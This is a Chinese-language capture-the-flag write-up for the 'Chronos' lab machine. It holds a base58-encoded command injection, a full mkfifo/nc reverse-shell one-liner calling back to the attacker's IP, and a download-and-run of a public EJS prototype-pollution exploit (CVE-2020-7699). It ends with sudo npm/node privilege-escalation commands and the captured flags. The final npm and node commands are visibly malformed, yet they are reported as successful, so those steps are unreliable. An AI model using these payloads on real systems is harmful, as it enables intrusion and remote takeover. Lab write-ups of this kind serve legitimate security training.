0x01 靶机信息
0x02 Write-Up
2.1 主机扫描
靶机IP:192.168.3.22
使用工具TXPortMap(https://github.com/4dogs-cn/TXPortMap)扫描主机
扫描出网站开放了22,80,8000端口,网站采用了apache和Express架构,SSH版本为2.0

2.2 观察网站
访问主页

访问8000端口,页面显示Date&Time

查看网页元素,其中有一串(/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL)类似路径

2.2.1 发现OPTIONS请求
利用burp查看具体参数

OPTIONS /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1
OPTIONS获取当前URL所支持的方法
Access-Control-Request-Method: GET
请求方法为GET
Access-Control-Request-Headers: user-agent
请求会携带头部字段:user-agent
直接访问路径被拒绝

2.2.2 根据OPTIONS内容调整参数访问
结合OPTIONS的内容,可能是传过去的user-agent不符合要求,重点关注
观察80端口页面,发现一个跨域请求,域名:chronos.local,User-Agent:Chronos

添加解析到hosts文件

重新访问(http://chronos.local),主页出现了日期和时间,说明之前的请求成功了

在网页流量中可以看到请求成功,User-Agent:Chronos

在8000端口,直接使用域名访问失败,下一步修改Agent



访问成功

2.2.3 将date的传参解码
使用(https://www.dcode.fr/cipher-identifier)cipher解码
内容4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,识别为base58

同时解码内容为'+Today is %A, %B %d, %Y %H:%M:%S.',是执行date命令的参数

2.3 利用命令执行反弹shell
2.3.1 测试传参
尝试利用;独立执行新的命令
; ls -l
base58编码后:3ExVpXJqdV
(http://www.metools.info/code/c74.html) MeTools工具

执行成功,可以看到有个www-data用户

2.3.2 反弹shell
在kali中开启监听端口
nc -lvvp 4444

反弹语句:;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.3.23 4444>/tmp/f
base58 :3rqRK5HNRart7G6euj73LHosixYeKbLr13V6UbRvyosw342VHcRsWoA9phAm8PQmDfWYawXHoYGbmdc56tRJ7bfFu1wgv5vMUHuGC5UG9rF2gHb

反弹成功

2.3.4 发现chronos-v2目录
在opt目录下发现chronos-v2目录,具有上传功能

开在本地8080端口

2.4 利用NodeJS模块代码注入提权
查找到在express-fileupload": "^1.1.7-alpha.3"中存在NodeJS模块代码注入(CVE-2020-7699),借用一张图表示
由于express-fileupload 具有“parseNested”特征。当“parseNested”选项启用时,它负责将上传的 JSON 数据“扁平化 (flatten)”为嵌入式对象。
如果我们将{“a.b.c”}作为输入,则在内部它将被用作{“a”:{“b”:{“C”:true}}}。
假设你的应用程序正在使用 EJS 解析上传的数据,而没有执行额外的检查,那么攻击者就能够利用'__proto__.outputFunctionName'发送HTTP请求,覆写 EJS 的“outputFunctionName”选项。

kali下载利用脚本(https://github.com/boiledsteak/EJS-Exploit)
git clone https://github.com/boiledsteak/EJS-Exploit.git

修改脚本内IP和端口

kali 开启http服务传输脚本
python3 -m http.server 80

同时在另一侧开启5555端口侦听
nc -lvnp 5555

目标机下载脚本
wget http://192.168.3.23/EJS-RCE-attack.py

利用python3运行脚本

2.4.1 得到imera用户的flag
获得imera用户权限

找到user's flag---byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

2.5 root提权
sudo -l
查看当前用户拥有的root执行权限

思路一:利用npm提权
npm的利用是失败的,利用https://gtfobins.github.io/gtfobins/npm/的语句
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i

思路二:利用node提权
sudo node -e 'require("child process").spaw("/bin/sh", stdio: [0, 1, 2]1)'

提权成功

获得root's flag
